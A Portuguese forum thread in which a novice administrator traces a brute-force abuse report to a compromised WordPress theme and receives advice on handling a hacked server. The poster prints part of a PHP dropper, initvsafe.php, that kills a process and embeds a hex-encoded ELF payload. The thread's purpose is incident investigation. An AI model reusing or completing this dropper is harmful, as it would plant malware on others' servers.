
Sou administrador de sistema iniciante em vários servidores web virtualizados. Recentemente recebemos um e-mail informando que um de nossos servidores está sendo usado para ataques de “força bruta”. O conteúdo do e-mail era semelhante ao seguinte.
Saudações,
A equipe de /somehost/ abuse gostaria de informar que tivemos tentativas de força bruta em massa no painel de controle do Joomla/WordPress em nosso servidor de hospedagem compartilhada /somehost/.ru /ip-number/ da sua rede, do endereço IP /my -endereço de IP/
Durante os últimos 30 minutos registramos 1.500 tentativas como esta:
/meu-endereço-ip/ /seu-domínio/ - [12/Jan/2014:13:29:05 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"
/meu-endereço-ip/ /seu-domínio/ - [12/Jan/2014:13:29:05 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"
/meu-endereço-ip/ /seu-domínio/ - [12/Jan/2014:13:29:05 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"
/meu-endereço-ip/ /seu-domínio/ - [12/Jan/2014:13:29:06 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"
/meu-endereço-ip/ /seu-domínio/ - [12/Jan/2014:13:29:06 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"
Número total dessas tentativas que foram registradas anteriormente neste servidor (/some-host/.ru)[/their-ip/]:
====
Esta mensagem foi enviada automaticamente pelo sistema de segurança /nome-de-alguma-empresa/. Seu endereço de e-mail obtido nos serviços públicos WhoIs. Lamentamos o incômodo caso você tenha recebido esta mensagem por engano. Entre em contato conosco se o seu e-mail não for relevante para este endereço IP ou rede.
====
Obrigado, equipe /somehost/abuse
http:// /somehost/ ponto ru
/algum número de telefone na Rússia/,
/mais alguns dados de contato na Rússia/
- O que devo pensar sobre este e-mail? Isto é uma fraude ou uma mensagem importante que não deve ser ignorada?
Acho estranho que eles escrevam "Joomla/Wordpress" quando obviamente pode ser visto em seus logs que "wp-login.php" é um script PHP do WordPress.
Em nosso servidor hospedamos vários blogs WordPress via Webmin/Virtualmin e um servidor Squid que não é acessível externamente.
Observei o tráfego com iftop
e nethogs
por um tempo e não consigo ver nada suspeito. O log de acesso do squid parece normal para mim.
Podemos ver muitas tentativas de login em nosso servidor no log "seguro", mas ninguém consegue obter acesso.
Veja o seguinte despejo de segurança.
an 12 02:35:19 /server/ saslauthd[2186]: pam_unix(smtp:auth): check pass; user unknown
Jan 12 02:35:19 /server/ saslauthd[2186]: pam_unix(smtp:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=
Jan 12 02:35:19 /server/ saslauthd[2186]: pam_succeed_if(smtp:auth): error retrieving information about user thomas
E um outro.
Jan 12 03:00:29 /server/ sshd[21948]: Invalid user anton from 109.7.72.130
Jan 12 03:00:29 /server/ sshd[21949]: input_userauth_request: invalid user anton
Jan 12 03:00:29 /server/ sshd[21948]: pam_unix(sshd:auth): check pass; user unknown
Jan 12 03:00:29 /server/ sshd[21948]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=130.72.7.109.rev.sfr.net
Jan 12 03:00:29 /server/ sshd[21948]: pam_succeed_if(sshd:auth): error retrieving information about user anton
Jan 12 03:00:32 /server/ sshd[21948]: Failed password for invalid user anton from 109.7.72.130 port 40925 ssh2
Jan 12 03:00:32 /server/ sshd[21949]: Received disconnect from 109.7.72.130: 11: Bye Bye
Com "quem" posso ver claramente que só estou logado via SSH.
Hoje atualizei todos os módulos Webmin e Virtualmin e Squid para as versões mais recentes.
- O que devemos fazer agora? Quais devem ser nossos próximos passos para proteger o servidor contra ataques?
- É mesmo necessário?
- Quais arquivos de log ou configuração devemos alterar/examinar?
EDITAR:
O que fiz até agora:
- Verifiquei os arquivos que foram alterados na data do ataque (tínhamos quase 50 GB de tráfego em nosso IP de acordo com nosso provedor) com
find / -type f -name "*" -newermt 2014-01-12 ! -newermt 2014-01-12 > out.log
. Nada mudou. - Verifiquei AWStats para todos os nossos domínios. Nem mesmo um domínio foi transferido com mais de 40 MB de acordo com AWStats.
- O WordPress estava atualizado no dia do ataque.
- Atualizei todos os módulos Webmin e Virtualmin.
- Atualizei o squid e mudei sua porta para algo diferente de 3128. Deixei apenas 80, 443 e 21 como portas "seguras".
- Atualizei o fail2ban.
Não quero desconectar o servidor da Internet conforme sugerido emComo faço para lidar com um servidor comprometido?. Nossos dados são armazenados em backup, por isso estamos seguros no momento. No entanto, gostaria de descobrir o que causou o ataque, mas ainda não consegui.
EDITAR 15.01.2014:
Com nethogs
consegui descobrir que /usr/bin/host
está recebendo e enviando muito mais dados do que o esperado.
NetHogs version 0.8.0
PID USER PROGRAM DEV SENT RECEIVED
10267 /domain//usr/bin/host eth0 120.571 791.124 KB/sec
30517 /domain/sshd: /domain/@pts/0 eth0 2.177 0.111 KB/sec
? root /ip-address/:39586-119.247.224.98:80 0.000 0.000 KB/sec
? root /ip-address/:55718-69.163.148.232:80 0.000 0.000 KB/sec
? root /ip-address/:38474-184.154.230.15:80 0.000 0.000 KB/sec
? root /ip-address/:46593-66.7.212.199:80 0.000 0.000 KB/sec
? root /ip-address/:58733-202.232.144.194:80 0.000 0.000 KB/sec
? root /ip-address/:41154-83.170.122.1:80 0.000 0.000 KB/sec
? root /ip-address/:39996-98.129.229.146:80 0.000 0.000 KB/sec
? root /ip-address/:39872-98.129.229.146:80 0.000 0.000 KB/sec
? root /ip-address/:37429-144.76.15.247:80 0.000 0.000 KB/sec
? root /ip-address/:35063-216.12.197.226:80 0.000 0.000 KB/sec
? root /ip-address/:51335-153.120.33.64:80 0.000 0.000 KB/sec
? root /ip-address/:58344-64.207.178.120:80 0.000 0.000 KB/sec
? root /ip-address/:55848-69.163.148.232:80 0.000 0.000 KB/sec
? root /ip-address/:46799-66.7.212.199:80 0.000 0.000 KB/sec
? root /ip-address/:38110-66.155.9.238:80 0.000 0.000 KB/sec
? root /ip-address/:39713-76.74.254.120:80 0.000 0.000 KB/sec
? root /ip-address/:33814-209.217.227.30:80 0.000 0.000 KB/sec
? root /ip-address/:41009-212.113.141.212:80 0.000 0.000 KB/sec
? root /ip-address/:57027-173.11.110.117:80 0.000 0.000 KB/sec
? root /ip-address/:45436-83.222.250.186:80 0.000 0.000 KB/sec
? root /ip-address/:59143-202.232.144.194:80 0.000 0.000 KB/sec
? root /ip-address/:43357-217.9.42.182:80 0.000 0.000 KB/sec
? root /ip-address/:32981-82.113.145.170:80 0.000 0.000 KB/sec
? root unknown TCP 0.000 0.000 KB/sec
TOTAL 122.749 791.235 KB/sec
Ao executar lsof
no PID você pode ver claramente que algo está realmente errado com a instalação do WordPress.
[root@/domain/ logs]# lsof | grep 1706
host 1706 /domain/ cwd DIR 253,0 4096 10178 /home//domain//public_html/wp-content/themes/twentyeleven
host 1706 /domain/ rtd DIR 253,0 4096 2 /
host 1706 /domain/ txt REG 253,0 137592 1054438 /usr/bin/host
host 1706 /domain/ mem REG 253,0 156928 1178048 /lib64/ld-2.12.so
host 1706 /domain/ mem REG 253,0 22536 1178065 /lib64/libdl-2.12.so
host 1706 /domain/ mem REG 253,0 1926800 1178057 /lib64/libc-2.12.so
host 1706 /domain/ mem REG 253,0 145896 1178061 /lib64/libpthread-2.12.so
host 1706 /domain/ mem REG 253,0 91096 1178098 /lib64/libz.so.1.2.3
host 1706 /domain/ mem REG 253,0 358560 1051774 /usr/lib64/libisc.so.83.0.3
host 1706 /domain/ mem REG 253,0 599384 1178963 /lib64/libm-2.12.so
host 1706 /domain/ mem REG 253,0 124624 1178074 /lib64/libselinux.so.1
host 1706 /domain/ mem REG 253,0 113952 1178072 /lib64/libresolv-2.12.so
host 1706 /domain/ mem REG 253,0 1674840 1050692 /usr/lib64/libdns.so.81.4.1
host 1706 /domain/ mem REG 253,0 140568 1051828 /usr/lib64/libisccfg.so.82.0.1
host 1706 /domain/ mem REG 253,0 34696 1051827 /usr/lib64/libisccc.so.80.0.0
host 1706 /domain/ mem REG 253,0 17256 1178085 /lib64/libcom_err.so.2.1
host 1706 /domain/ mem REG 253,0 1953536 1050724 /usr/lib64/libcrypto.so.1.0.1e
host 1706 /domain/ mem REG 253,0 12592 1178067 /lib64/libkeyutils.so.1.3
host 1706 /domain/ mem REG 253,0 46368 1178081 /lib64/libkrb5support.so.0.1
host 1706 /domain/ mem REG 253,0 19016 1178989 /lib64/libcap.so.2.16
host 1706 /domain/ mem REG 253,0 944712 1178089 /lib64/libkrb5.so.3.3
host 1706 /domain/ mem REG 253,0 177520 1178083 /lib64/libk5crypto.so.3.1
host 1706 /domain/ mem REG 253,0 209120 1180550 /lib64/libidn.so.11.6.1
host 1706 /domain/ mem REG 253,0 280520 1178096 /lib64/libgssapi_krb5.so.2.2
host 1706 /domain/ mem REG 253,0 52944 1051829 /usr/lib64/libbind9.so.80.0.4
host 1706 /domain/ mem REG 253,0 75936 1052874 /usr/lib64/liblwres.so.80.0.2
host 1706 /domain/ mem REG 253,0 21152 1178987 /lib64/libattr.so.1.1.0
host 1706 /domain/ mem REG 253,0 1383368 1051772 /usr/lib64/libxml2.so.2.7.6
host 1706 /domain/ DEL REG 253,0 656 /home//domain//public_html/wp-content/themes/twentyeleven/bruteforce.so
host 1706 /domain/ mem REG 253,0 27424 1178071 /lib64/libnss_dns-2.12.so
host 1706 /domain/ mem REG 253,0 65928 1178073 /lib64/libnss_files-2.12.so
host 1706 /domain/ mem REG 253,0 12582912 11739 /home//domain//public_html/wp-content/themes/twentyeleven/.sd0
host 1706 /domain/ DEL REG 253,0 655 /home//domain//public_html/wp-content/themes/twentyeleven/libworker.so
host 1706 /domain/ 0r CHR 1,3 0t0 3782 /dev/null
host 1706 /domain/ 1r CHR 1,3 0t0 3782 /dev/null
host 1706 /domain/ 2r CHR 1,3 0t0 3782 /dev/null
host 1706 /domain/ 3r CHR 1,3 0t0 3782 /dev/null
spamd 18546 root mem REG 253,0 37000 1317060 /usr/lib64/perl5/auto/List/Util/Util.so
spamd 18548 root mem REG 253,0 37000 1317060 /usr/lib64/perl5/auto/List/Util/Util.so
spamd 18549 root mem REG 253,0 37000 1317060 /usr/lib64/perl5/auto/List/Util/Util.so
vou ter que dar uma olhada home//domain//public_html/wp-content/themes/twentyeleven/bruteforce.so
.
Simplesmente todos os arquivos que foram alterados em janeiro de 2014 não estão na instalação padrão do tema Twenty Eleven do WordPress. Por exemplo, existe um script chamado initvsafe.php
que pode ser usado para armazenar arquivos no sistema de arquivos.
<?php
header("Content-type: text/plain");
if (! function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'w');
if (! $f)
return false;
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
@system("killall -9 ".basename("/usr/bin/host"));
$so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03\x00\x01\x00\x00\x00\x54\x0d\x00\x00\x34\x00\x00\x00\x48\x69\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x03\x00\x28\x00\x0f\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf0\x60\x00\x00\xf0\x60\x00\x00\x05\x00\x00\x00\x00\x10\x00\x00\x01\x00\x00\x00\xf0\x60\x00\x00\xf0\x70\x00\x00\xf0\x70\x00\x00\xf0\x07\x00\x00\xac\x61\x00\x00\x06\x00\x00\x00\x00\x10\x00\x00\x02\x00\x00\x00\xf0\x60\x00\x00\xf0\x70\x00\x00\xf0\x70\x00\x00\x90\x00\x00\x00\x90\x00\x00\x00\x06\x00\x00\x00\x04\x00\x00\x00\x25\x00\x00\x00\x3c\x00\x00\x00\x21\x00\x00\x00\x31\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x30\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x2c\x00\x00\x00\x11\x00\x00\x00\x1c\x00\x00\x00\x28\x00\x00\x00\x2f\x00\x00\x00\x3b\x00\x00\x00\x29\x00\x00\x00\x39\x00\x00\x00\x15\x00\x00\x00\x05\x00\x00\x00\x2d\x00\x00\x00\x00\x00\x00\x00\x38\x00\x00\x00\x33\x00\x00\x00\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x00\x00\x00\x00\x32\x00\x00\x00\x1e\x00\x00\x00\x3a\x00\x00\x00\x2a\x00\x00\x00\x34\x00\x00\x00\x36\x00\x00\x00\x23\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
...
Responder1
Provavelmente é legítimo. A razão pela qual não diz explicitamente wordpress é porque é uma mensagem automatizada - enviada automaticamente por algum script que detecta ataques como esse e os reporta aos proprietários da fonte.
Se seus servidores foram hackeados, a primeira coisa que um invasor faria é instalar binários modificados para who, ls e comandos semelhantes para ocultar sua própria atividade. E exclua os registros de login dos logs. Portanto, é possível que você esteja comprometido. Como faço para lidar com um servidor comprometido?cobre o que fazer.
Provavelmente, eles não obtiveram acesso por meio de SSH, mas sim por meio de algo como um script PHP que atua como um servidor proxy. Verifique todos os seus sites em busca de arquivos que não pertencem. Verifique também os registros de acesso em busca de atividades incomuns. Verifique se há versões desatualizadas (ou até mesmo atualizadas, mas com vulnerabilidades relatadas) do wordpress, phpmyadmin, etc.
Responder2
Você também pode verificar se o rkhunter descobre algo suspeito. O verdadeiro problema é que uma vez que um servidor é comprometido, especialmente se você tiver o fail2ban e outros pacotes corrigidos, pode ser mais seguro colocá-lo offline, mesmo que seja apenas para mover algumas evidências (logs) para outra máquina. Como Grant mencionou, você não pode ter certeza de que os logs não foram adulterados/excluídos para cobrir qualquer rastro, então presuma o pior.
Você pode dar uma olhada nos logs do fail2ban para ver se há algo incomum também.
Você também pode dar uma olhada rápida no manual do Debian, parte 14.6, que trata de sistemas comprometidos.